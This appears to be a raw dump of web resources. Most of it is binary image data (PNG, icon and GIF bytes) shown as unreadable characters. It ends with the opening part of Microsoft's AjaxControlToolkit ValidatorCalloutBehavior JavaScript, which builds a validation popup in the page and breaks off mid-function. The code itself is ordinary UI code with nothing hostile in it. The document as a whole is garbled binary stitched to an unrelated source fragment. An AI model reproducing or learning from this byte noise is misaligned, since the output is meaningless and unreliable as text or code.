!)��8E!�oy&O���Y3s&�H��}j���)�t���c۶m�\�~��#��r 8��O�q܊�a�����J)�n�;�j�J��RJGѫ�h��Z)��b�X��(��4M#"r� ���rPm�RjX)�VVV��nw1�;�Je��˗�^�xqrbbSSS�y�W�(�p��=��u�ٳ�N�<yeaaa���t��b(���Z�@ē`D���$I�e�4���F��o�m}������ם���V�Ռ�X�i
��@D�t:P�W핕�(�cWk�$If�V��ݻ��S�N�0]��T��*��h�Ν7��fE%I�B���m��lf���a����^��0�$I��""�<��S�y饗~���8��$"�$I�v��^^^nw�]����[XX+++m+
�A0��7��ޱcG6;;[�Z7�4�4M�N��j�Z�q�Wc�u�ZkRJ�~���RAP�z�j���T3}���m?P_}��R�Z}�o߾M��գ(��d��/�FGG����sss�f�Y�Z���Ycg�d~~��_|����F���e���M��yN�\.��V�ݷz��ΠiR��?��ߎ�lߵk�L�T�<x𠩵�_
�8�ܸq���۷7}��gK�z�6���[ҵ-ċ/�h{&߽{���?�<ok�T!"��)~��,�J#̼��ٳq�ټ�a`b�.њ�d�~7)��Ν;����_:w�vg{�R�}��Z��dZk��e˖r�e��|�M�����I�|`�D�3=o���Ç��/���k������g�����8qbzvv����Z���N��)�zs]W��R�866V�|���{�w��*�n��h�4���{0��׮]��߂i�F�/�J)�˻^xᅠZ�&�r��qFD$��a��7n��?���V�-�e�
�e��r�c�T�UnݺeK�x(4�∔r<�=R�)#SSSrxxX4�M�{�.i��D�BD?���D˚��d-�֭[{����
�3@��Tn!D	@���LY:�kY4H�X��1���������/g��߼�������Am�ȺkD[flll�(��x���<Ki�km�'o��$���)
k@l�� ��WR�O��(�:�qz�Ǿ��'�uտOm�� ���&~��?����ZIEND�B`�^�PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F	�IDATxڬ�kl���5����ڎ��n�4�jjJ
T����(�J-*4**�P[�R��>d@�J�Z�6 �4�B^$ʼnL����Ə���y���:�I�ґ���h��o�9��󿌈�I.�k|F3)�3c�ܘN�!���_�V�L�(��CQ�P�1��$ @�c��%`����eY���"���a���)j˖-�M�6-	��k��޽{'w��Y�"alQl&���p�5°�˙H��z衇�Y�x�4�P��͹�^DŚ9��SO��cǎI~��������_�0LD���?ܹu���ۛ�e^�l��t�LhiN�kƭ���&v��Z���ã�<��3/>����x�H��G��1����a�.�h�<x�
���'|d�d'	/�	=���fm�e����!��pL޲�J��w��m�-|e�k���C�I����~9g�0��.���޲��k+|2埪�-s�\[�ѐ�0�	t�W�6ڏZX�m��Ԍ����8k߶��mۖx!��PO�j�J�r�\.#��ֽ"��o�~�-n�u��{Z�rf�K�l�2L�#0F1i
i�2V,�Ly,%�|�޵����m���o(�^��'4����`/_����س����殐g�P��������D��1fd@&��!ɨ�wD��Q����^�v����\��a<ϫ�rj׮]�Zkg��c#�l�Sc6V����t�	�7`��3��Ml��BK0�H�P�NG1���d����V���>x�����8����Y�tirC�:::��}:S���œ�S��5��OG
}Pf�%�ّ�#���=��w��-^k�5����ܦ�U�+]�h��3��{{?+���\�Ė.��Uvel�p�r�R�����()��l����B@��=Y��G7W	��&ͭfm���S\2ù
,�y��5-x�x�Z�]Z��߿���ÕH�o�d__ߍ����;!���)�}E���M6��:hn�`���-oɘ���֠7��E�K�7�'�*
4w'���sNoo�Z)V��F�pB�)>6dycӤ���P�J<*Y�����I��-�9�aQ��	�44yЈ-iI�(1�����J��o��f)��ZvR�sX(L<�5;�L~V�b`��9��,XK�yrR���w]�2����l�g�}s��kuB]��3�޲�5�F��)��W�"�tU4�������q0�\.�=�U)X�8gdjܮT�?
q��ʢM�v���/���/�Q�����i��uZ����;|��d����[�R�`��?/g�B�P�#[ה�W�핕�kʲC�W`�GRLT�����,7L0lz�xK����v��vN+�j��/ͣk�l4��ew��6�����pRd'�
E���JO
	�&T��"�|��o���=�O�6~�M�xiF��v&��_�=��I�b�A>��Lnv�&l!344t���8]�PҗByJ0W�� �����4����d���ea��l�?
���SJ����āY�211�A���;�0@����Njj�|w�SN �1�S��(481T�M����1�yh�[2d���$���"*T�����b�Uy/c�|~4�J��˅2�a$@f�ƍ��ZF�<Zڿ�tQ��I��&��6��I��J!nP���H�����GH͸XU(#<_̈́�^����3;O{;����`�4�2@$S ܷo�>v��o��s���T[QPC_��B�8 #�����,�`Z����Fj�;	�f���7�w����P�}�i~�6oޜl�����+?Z=6�©:��"�~Q�]�AT+��2��D%��,��i�R�W�6!��g{x��2c�R���K�%��`��j2o�����sc���+?8��)e�5� h� j609�n%�V�n!�̥�m�9!Ӯql�(}���3S�ҫ��@!�qcϘ+�vC���P�3|���ϝ{�.�^�=F�-� bF1h��H�ACS� �i�为��g�S����{�L�dc���V=�ׯ_�5N�8��S�2Rʎ�������Qn�{��[���&` 0pI82%*����13��G�(z��&�c���y� ̚5k`���￟�(*.h�f!�b�q��#���ݑݒ&�/�~o��z��F��GL�//�c=<~�|����9Au���F��b '�T�R��.MD�L"�~쁺�I������9On
�F9���N�?	y��\\���;O���r�+D��y��:�J(�F�5�[�T��̃I�R�@��p�������U�+`�s�jgW9���'�D�q���b�t�!��r:mB�IEND�B`�6   �& h�( @ �Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��������������������������������������������������Q��Q�������������������������������������������������Q��Q�����������!�!����������������������������������Q��Q����������!�!�!�!�!�!������������������������������Q��Q�������!�!�!�!�!�!�!�!�!�!��������������������������Q��Q�������!�!�!�!����!�!�!�!�!�!����������������������Q��Q�������!�!����������!�!�!�!�!�!������������������Q��Q����������������������!�!�!�!�!�!��������������Q��Q�������������������������!�!�!�!�!�!����������Q��Q����������������������������!�!�!�!����������Q��Q�������������������������������!�!�������Q��Q���������������������������������������Q�D$�~B"�}@�|=�{;�z8�y5�x3�w1�w/
�v.��Q����������������������������������������Q�vň�_�t�I�c�4�Q�"�A��7��7��7�#y6�M:,�w/
��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��ן�}Ɏ�e�z�N�f�5�Q��@��7�CY5�nYJ�cN?�w1��{b��ޯ�������ԛ�wʼn�_�u�H�a�+�J�OI3��|o��xj��x3��$��j�������������ј�q���U�l�anR��������������y5��$���$��s���������߰�����ް�ˏ�hxZ�ϼ������춙�����z8��$�������$��|����������q��ް���h^J�ή��eO?�eO?�ذ����������{;������������$�����������������q���q�����������й��ʰ��Ũ�¡��|=��� �������������������������� S�Q�ѱ���ʰ�ʧ��}@���Ʀ�������������������������0^�r���D��Q��й�ҭ��~B"���ɪ��������������������������1`���r��� S����ٳ��D$��������7ɪ�����������������������������1`�0_�������޷��F&�ɪ���������������������������������������������G(�ɪ��ɪ��ɪ��ɪ��Ʀ�� ��������|���s���j��{b��u[��oT��kP��������������?��?��?��?��?��?��?��?��?��?��?��?�����������������������������������(  �Q��Q��Q��Q��Q��Q��Q��Q��Q��������������������Q��Q����֏���R�S����������Q��Q������b�c���J�K���Q��Q��������������m�m��Q��Q�������������������Q��Q�������������������Q�z8�y6�x4�x2
�w0�v/	�v.��Q��Q��Q��Q��Q��Q��Q��Q��ߦ�oƁ�@�]�@�]�@�]����z8��$�x^�@�]����ߦ�oƁ�@�]�������z8��$���$��h�����@�]�����מ����������w1���������s��������@�]�:~A�������s�ج��x3�����}����������������*Y�ո��y5��������������������6`���6`�z7��$����ť���������������������6`����{:�ɪ��ť��ť��������~���s���h��w^��pV������������!�!�!��!��!����������������6   �& h�( @ �hL�eJ{�Z;ÃN-ȅP/Ǝ^A��fK\�bF�sYJ�x^Ҭ�~����������¿���u��cHƔgKE��m`�������������������������dH�eIE��r?��z��������ط���O)��P,�׼����������_BٛoUß�
��t��Ĺ�����������������2��B&������������~i��dG���n?���������������������R;��dL�����������ļ���dG��}[[ˤ����������������������[<��gH������������������lR��yWiΫ����������������������Z7��b?���������������oU��yXy˩����������������������]/��tO����������������kR�†cWˢ������������������������������������������˿���fJ�ʊdКw��������������������բ��Ѡ�������������������{d��hKW���������������������������������������������������šw�Ⳓ�����������������m9��f4�����������ì���fJ��rX������������������������������������������������������������������������˷��Ǫ�����������������������Ͷ���y\��tZ������������������������������������������������������������������������������£���������������в��ε����}���������������������������������������������������������������������������������ַ��̤��ݲ��翩��̾������������������������������������������ʶ��dz��¯������������������������y���q��zj��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(  �qW��nV��g؏cI��Q.��tZ�î��������������t^��P,��w]x��x�������������������Y8�S0E�vY�������������������������S0��tS�������������L$��������������S1�����������������������c���������������������hK��`D ����������������������������|c���������yL���������nN�������������������������������ͪ��߿��¢����x���������������������������������������y����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������6   �& h�( @ ����n���n���n���n���n���n���n����������������������������n���������������������������n���������������������������n���������������������������n�������������������������������������������������������������������������������n������������������������������������������������������������������������������������������������������������n�������������������������������������������������������������������������������������������������������������n����������������������������������������������������������������������n��������������������������n��������������������������n��������������������������n��������������������������n�������������������������������n�������������������������������������������������������������������������������������������������������������������������������������������(  ����n���n���n���n�����������������n���������������������������������������������n����������������������������������������������������n�������������������������������������������������������n���������������������������������n�����������������n�������������������n������������������������������������������������6   �& h�( @ M*G7�XA?�7�rmLI�ѹ�����¯��y^[�'
�1u�mf������������������3�7E�]V�������
������	���s����������"`1*����^�������������T������sn�	� y՜�������������	������u�����O1-�C�F<����	������$n�:6�� }����������•��*�`G4�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�#eΔ��Q��������$r�:6����������B�����_@9�����ӫ��ҧ��Х��ϣ��Π��Ο��͞��͞��͞��͞��cI5�c*!����
�������������������������me������������������������Ͽ��μ��ȵ�͞��cI5�-�\R�y�����������,a�����������x��۠��I4.���{���v��o��yf��q_��jW�}cP�v^I��ȵ�͞��cI5�&oǍ��.����������7A�����������*����\:5�̷������������������ξ��̺��ʸ�͞��cI5�g'������������:6����������	��ɺ���KB������������������������ξ��ͻ�Ο��cI5��@4�����2�:�0��(|�:6����������������cW�]QH���|���u��~m��we��p^��iW�{cO��ο�Ϣ��cI5��REۚ��+���S���\���K�0�2Y�:6��'p�����������qd�zqm�������������������������Ф��cI5��[M���2���`���k���W���6�0z�:6����
������������}n�ypm�������������������������ҧ��cI5��bZ���,�E���W���O�)�8���������	������΁r�TIA�������{���s��}k��ue��n]��hU����ӫ��cI5�iE?տ����������V��/������a��⪣�3����'�����Ƣ��я���VL��������������������������ծ��cI5�8$<
	a_)$��rm�Ѳ��t���t������E���a���ۙ���wj��`Y�����Ʒ������������������������ײ��cI5�+/g<7�ə���������������������畍��c\��kb���������������������������z���r��{k��tc��n[����ٵ��cI5�-@r�mi��������㱭���|�}ea�����������������������������������������ٹ��cI5�/=pTQ��}{꩗��fQI����������������������������������������������۽��cI5�����������ʶ��dz��¯������������������������y���q��zj��sa����ݿ��cI5��������������������������������������������������������ó�cI5�������������������������������������������������������������Ŷ�cI5�������������˸��ɶ��ų����������������������������������ɴ����������cI5�������������������������������������������������������|�rXD�oUA�lQ=�cI5�������������������������������������������������������|�ͻ��������v�������������������������������������������������������|������v��������������������������������������������|���v������������������������������y���t��n��zi��ud��q`���~���������������������?��?����������������������������������?(  ,7F-*�0�/"!2-M���������a>8�1 0!
1��ۇ�$��Y�����\:5�.# 		jD?������6Q�6R�K�����G.)g*���� ���!��#��)����sMH�O73L" nn����(��+x���=�����bF7�lQ=�lQ=�lQ=�lQ=�}UR�<���>�,�0h�5J����������yn��������ĵ�lQ=�����:���B���7�3U�8<��	�������{TI���u��}k��ĵ�lQ=�����V���X���E�%��%���������zr��������Ƹ�lQ=�~YT�����n��F�����&��/�����tm��g[���~���t��Ⱥ�lQ=�6
v'"C�gg������������yu�ʝ�������������˽�lQ=��<9g41y����qkȑyo��������������ƽ�������lQ=�����������������������o�lQ=�lQ=�����������������������o�������������������x���o���o������?�?<�����������������������6   �& h�( @ ��������/��?��D��E��E��E��E��E��E��E��E��E��E��E��D��?��/��������/��g�����������������������������������������������g��/������@�������bI5�bI5�bJ4�dI5�`H6�eJ5�bI5�bH7�dI5�fH7�`I3�cI8�dI5�cH4������@������D���������������������������������������������������bI5������D������E����������������������������������������������bJ4������E������E�����������������������~���������~������������bH7������E������E�������������������v�������������������������������aI1������E����ooo�mmm�kkk�jjj�hhh�fff�ddd�ccc�```�___�\^^�Vgg�B���%�����������������������~������������~���������dI5������E�������������������������������������������������J��Ů����������������������������������������eI8������E�������������������������������������������^��ɲ������������������~�������~���~�������~������aH4������E��������������������������������������������_����������������v��������������������������������bI5������E���������������������������������������������_���Ů������������������������������������}������bJ4������E����������������������������������������������`���ɲ�����������������������������������������dI4������E�����������������������������������������������`���驋�몋�꫉�ꪋ�襆��|��n��b��W��}L��uA��r8��s7��q9��b0������E�����������������������������������������������b���請��ã��à���������������������������}���w���s���j��d��d1������D������������������������������������������������l���ꩍ�請�멌�몋�몋�馅��}��u��j��b��W��P��}F��v@��r:������@����������������������������������������������������k���a���`���_���_��^��^��]��]��\��\��I��$�����������g��/�����������������������������������������������������������������������������B�����D��?��/���������������������������������������������������������������������������������������������Vgg�����������������������������������������������������������������������������������������������������]__������������������������������������������������������������������������������������������������������```����������������������������������������������������������������������������������������������ccc�����������������������������������������������������������������������������������������������eee������������������������������������������������������������������������������������������������hhh�������������������������������������������������������������������������������������������������jjj��������������������������������������������������������������������������������������������������lll���������������������������������������������������������������������������������������������������ooo���������������������������������}}}�xxx�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt����������������������������������������������������������������������������������������������������ttt����������������������������������������������������������������������������������������������������ttt����������������������������������������������������������������������������������������������������ttt���������������������������������}}}�xxx�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt�ttt���������������(  ����$��Y��������������������������������������`����!��w����bI5�bI5�bJ4�`H6�eJ5�bI5�dI5�fH7�`I3�dI5�cH4����������������������������~������~����������bH7��������FYY�%�����������������������������������������aI1����������h������������������~���������~�������dI5����������v���Ů��������������������������������eI8���������}���ɲ���������������~�������~�������~����aH4���������~������������������������������������������bI5�������������Ů������������������������������}����bJ4�������������驋�몋�꫉�ꪋ��|��n��b��}L��uA��r8��q9��b0��������������ꩍ�請�멌�몋�馅��}��u��b��W��P��v@��r:�������������}���t���r���q���p���o���n���m���k���X��#��������`�������������������������������GXX���������������������������������������������������������s�����������������������������������������������������~����������������������������������������������������������������������������������������GIF89a�?��*i�������G���������������������������������������������������������������������������������������������������������������)^����!�?,���pH,���'�l:�Mᄣ�Y���U8zut�x�V
n�n�����8|��_��B:74;���;$=77B
6{{}x�B	)!����!��71
�|{
�B2766=�����B(&��{%B'5����B.zǖ-B S<��ԾB ,<*��y<R<"��<��a�$@�@�����!X���n$h���BD`׀�0q��͛A;�GIF89a����:�M�M�&X������������������������������������������������������������������������������������������������������������������������������������������������������a��u��~�Æ�ʝ�蘴Ҷ��������!W�-a�.a�5h�7i�7j�:k�@q�Ar�Gu�Gv�O}�T��V��`��l��t������������������!�o,��o������ "$%������'*-.������+258������17<������
<@A������8E�����<CG����͂FH���H	��IIRdV�OO���:
�`cPYhU����(X��aC%X�\��Ƅ4hȀ��
6x1ℓ+g�8QB� ntA�IK�p�2E�*N�0yRІ�\���eM�0Ll(��bE
:�H!�F�-j��b��5f�p��� .��уJ!CJ��I���7j(�!�E��4B���"E�	���<v��Ha#�<�e�� 
��ȃzR����סװ;�GIF89a������������������ڤ�����=x�=x�=t�=t�>r�@r�Ar�Dr�Cr�Dr�Fs�Lt�Mu�u�ą�ő�ɕ�ʖ�ʸ�ݲ�խ�ν�׺������������������������������������������������������ⱱ�������ooo>>>333���!�8,�@�pH,���r�l
���3JUN��+�FHr���-������m&�����Mp���d�6�����7���+B1��1
����1	"
��0��	�%	,���/��	'&��/��/�.�í.	 �Ì-��-$(�Ҍ+��)##)�((��*��������G��A;�GIF89a���h������������_�������e������������Hs���*W�v�������Fn�}��������U~���������Gy���������������;g����[����͂�����������������M{�������Dw�������������������!�,�@g�+�H#m �9���sZ��ج��x`@@���h	�ع
&X�r��>D���$
&%{}|;98�

55��8<:66'
����77
�20���l:99��8.��*# ,13�  +#4(	=����K?!2/4�8��`3�!b@���;CGIF89a������������������!�,h�\^#A;2GIF89a�����������!��,(P�*;�\// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ValidatorCalloutBehavior = function AjaxControlToolkit$ValidatorCalloutBehavior(element) {
    AjaxControlToolkit.ValidatorCalloutBehavior.initializeBase(this, [element]);
    
    this._warningIconImageUrl = null;
    this._closeImageUrl = null;
    this._cssClass = "ajax__validatorcallout";
    this._highlightCssClass = null;
    this._popupPosition = AjaxControlToolkit.ValidatorCalloutPosition.Right;
    this._width = "200px";
    this._invalid = false;
    this._originalValidationMethod = null;
    this._validationMethodOverride = null;
    this._elementToValidate = null;
    this._popupTable = null;
    this._errorMessageCell = null;
    this._calloutArrowCell = null;
    this._warningIconImage = null;
    this._closeImage = null;
    this._closeCellInnerDiv = null;
    this._popupBehavior = null;
    this._onShowJson = null;
    this._onHideJson = null;
    this._focusAttached = false;
    this._isBuilt = false;
    this._focusHandler = Function.createDelegate(this, this._onfocus);
    this._closeClickHandler = Function.createDelegate(this, this._oncloseClick);
}
AjaxControlToolkit.ValidatorCalloutBehavior.prototype = {
    initialize : function() {
        AjaxControlToolkit.ValidatorCalloutBehavior.callBaseMethod(this, 'initialize');
        var elt = this.get_element();
        //
        // Override the evaluation method of the current validator
        //
        if(elt.evaluationfunction) {
            this._originalValidationMethod = Function.createDelegate(elt, elt.evaluationfunction);
            this._validationMethodOverride = Function.createDelegate(this, this._onvalidate);
            elt.evaluationfunction = this._validationMethodOverride;
        }

        // Check for failed server-side validation (indicated by non-empty ClientState)
        var clientState = this.get_ClientState();
        if ((null != clientState) && ("" !== clientState)) {
            this._ensureCallout();
            // Apply HightLightCssClass for failed server-side validation
            if(this._highlightCssClass) {
                Sys.UI.DomElement.addCssClass(this._elementToValidate, this._highlightCssClass);
            }
            this.show();
        }
    },

    _ensureCallout : function() {
        if (!this._isBuilt) {
              
            var elt = this.get_element();
            //
            // create the DOM elements
            //
            var elementToValidate = this._elementToValidate = $get(elt.controltovalidate);
            var popupTableBody = document.createElement("tbody");
            var popupTableRow = document.createElement("tr");
            var calloutCell = document.createElement("td");
            var calloutTable = document.createElement("table");
            var calloutTableBody = document.createElement("tbody");
            var calloutTableRow = document.createElement("tr");
            var iconCell = document.createElement("td");
            var closeCell = document.createElement("td");
            var closeCellInnerDiv = this._closeCellInnerDiv = document.createElement("div");
            var popupTable = this._popupTable = document.createElement("table");
            var calloutArrowCell = this._calloutArrowCell = document.createElement("td");
            var warningIconImage = this._warningIconImage = document.createElement("img");
            var closeImage = this._closeImage = document.createElement("img");
            var errorMessageCell = this._errorMessageCell = document.createElement("td");
            //
            // popupTable
            //
            popupTable.id = this.get_id() + "_popupTable";
            popupTable.cellPadding = 0;
            popupTable.cellSpacing = 0;
            popupTable.border = 0;
            popupTable.width = this.get_width();
            popupTable.className = this._cssClass + " ajax__validatorcallout_popup_table";
            //
            // popupTableRow
            //
            popupTableRow.className = "ajax__validatorcallout_popup_table_row";
            //
            // calloutCell
            //
            calloutCell.className = "ajax__validatorcallout_callout_cell";
            //
            // calloutTable
            //
            calloutTable.cellPadding = 0;
            calloutTable.cellSpacing = 0;
            calloutTable.border = 0;
            calloutTable.className = "ajax__validatorcallout_callout_table";
            //
            // calloutTableRow
            //
            calloutTableRow.className = "ajax__validatorcallout_callout_table_row";
            //
            // calloutArrowCell
            //
            if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft)
                calloutArrowCell.className = "ajax__validatorcallout_callout_arrow_cell_bottomleftpos";
            else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomRight)
                calloutArrowCell.className = "ajax__validatorcallout_callout_arrow_cell_bottomrightpos"
            else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopLeft)
                calloutArrowCell.className = "ajax__validatorcallout_callout_arrow_cell_topleftpos"
            else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopRight)
                calloutArrowCell.className = "ajax__validatorcallout_callout_arrow_cell_toprightpos"
            else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.Left)
                calloutArrowCell.className = "ajax__validatorcallout_callout_arrow_cell_leftpos";
            else
                calloutArrowCell.className = "ajax__validatorcallout_callout_arrow_cell";
            //
            // iconCell
            //
            iconCell.className = "ajax__validatorcallout_icon_cell";
            //
            // _warningIconImage
            //
            warningIconImage.border = 0;
            warningIconImage.src = this.get_warningIconImageUrl();
            //
            // _errorMessageCell
            //
            errorMessageCell.className = "ajax__validatorcallout_error_message_cell";
            errorMessageCell.innerHTML = this._getErrorMessage();
            //
            // closeCell
            //
            closeCell.className = "ajax__validatorcallout_close_button_cell";
            //
            // closeImage
            //
            closeCellInnerDiv.className = "ajax__validatorcallout_innerdiv";
            closeImage.src = this.get_closeImageUrl();
            //
            // Create the DOM tree
            //
            elt.parentNode.appendChild(popupTable)
            popupTable.appendChild(popupTableBody);
            popupTableBody.appendChild(popupTableRow);
            popupTableRow.appendChild(calloutCell);
            calloutCell.appendChild(calloutTable);
            calloutTable.appendChild(calloutTableBody);
            calloutTableBody.appendChild(calloutTableRow);
            calloutTableRow.appendChild(calloutArrowCell);
            popupTableRow.appendChild(iconCell);
            iconCell.appendChild(warningIconImage);
            popupTableRow.appendChild(errorMessageCell);
            popupTableRow.appendChild(closeCell);
            closeCellInnerDiv.appendChild(closeImage);
            closeCell.appendChild(closeCellInnerDiv);
            if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft ||
            this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomRight) {
                var calloutExtraTableRow = document.createElement("tr");
                popupTableBody.insertBefore(calloutExtraTableRow, popupTableRow);
                calloutArrowCell.colSpan = 2;
                calloutExtraTableRow.appendChild(calloutArrowCell);
                popupTableRow.appendChild(iconCell);
                popupTableRow.appendChild(errorMessageCell);
                popupTableRow.appendChild(closeCell);
            }
            else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopLeft ||
                this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopRight) {
                var calloutExtraTableRow = document.createElement("tr");
                popupTableBody.appendChild(calloutExtraTableRow);
                calloutArrowCell.colSpan = 2;
                calloutExtraTableRow.appendChild(calloutArrowCell);
                popupTableRow.appendChild(iconCell);
                popupTableRow.appendChild(errorMessageCell);
                popupTableRow.appendChild(closeCell);
            } else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.Left) {
                popupTableRow.appendChild(iconCell);
                popupTableRow.appendChild(errorMessageCell);
                popupTableRow.appendChild(closeCell);
                popupTableRow.appendChild(calloutCell);
            }
            else {
                popupTableRow.appendChild(calloutCell);
                popupTableRow.appendChild(iconCell);
                popupTableRow.appendChild(errorMessageCell);
                popupTableRow.appendChild(closeCell);
            }
            //
            // initialize callout arrow
            //
            var div = document.createElement("div");
            div.className = "ajax__validatorcallout_innerdiv";
            calloutArrowCell.appendChild(div);
            if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft ||
                this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomRight) {
                var pixel = document.createElement("div");
                pixel.style.width = "1px";
                pixel.className = "arrowpixel";
                div.appendChild(pixel);
                for (var i = 1; i < 22; i += 2) {
                    var line = document.createElement("div");
                    line.style.width = i.toString() + "px";
                    div.appendChild(line);
                }
            }
            else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopLeft ||
                this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopRight) {
                for (var i = 23; i > 0; i -= 2) {
                    var line = document.createElement("div");
                    line.style.width = i.toString() + "px";
                    div.appendChild(line);
                }
                var pixel = document.createElement("div");
                pixel.style.width = "1px";
                pixel.className = "arrowpixel";
                div.appendChild(pixel);
            }
            else {
                for (var i = 14; i > 0; i--) {
                    var line = document.createElement("div");
                    line.style.width = i.toString() + "px";
                    div.appendChild(line);
                }
            }
            
            //
            // initialize behaviors
            //
            this._popupBehavior = $create(
                AjaxControlToolkit.PopupBehavior, 
                { 
                    //positioningMode : AjaxControlToolkit.PositioningMode.Absolute,
                    parentElement : elementToValidate
                }, 
                { }, 
                null,
                this._popupTable);
            if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopLeft) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);
            } else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.TopRight) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopRight);
            } else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft);
            } else if (this._popupPosition == AjaxControlToolkit.ValidatorCalloutPosition.BottomRight) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomRight);
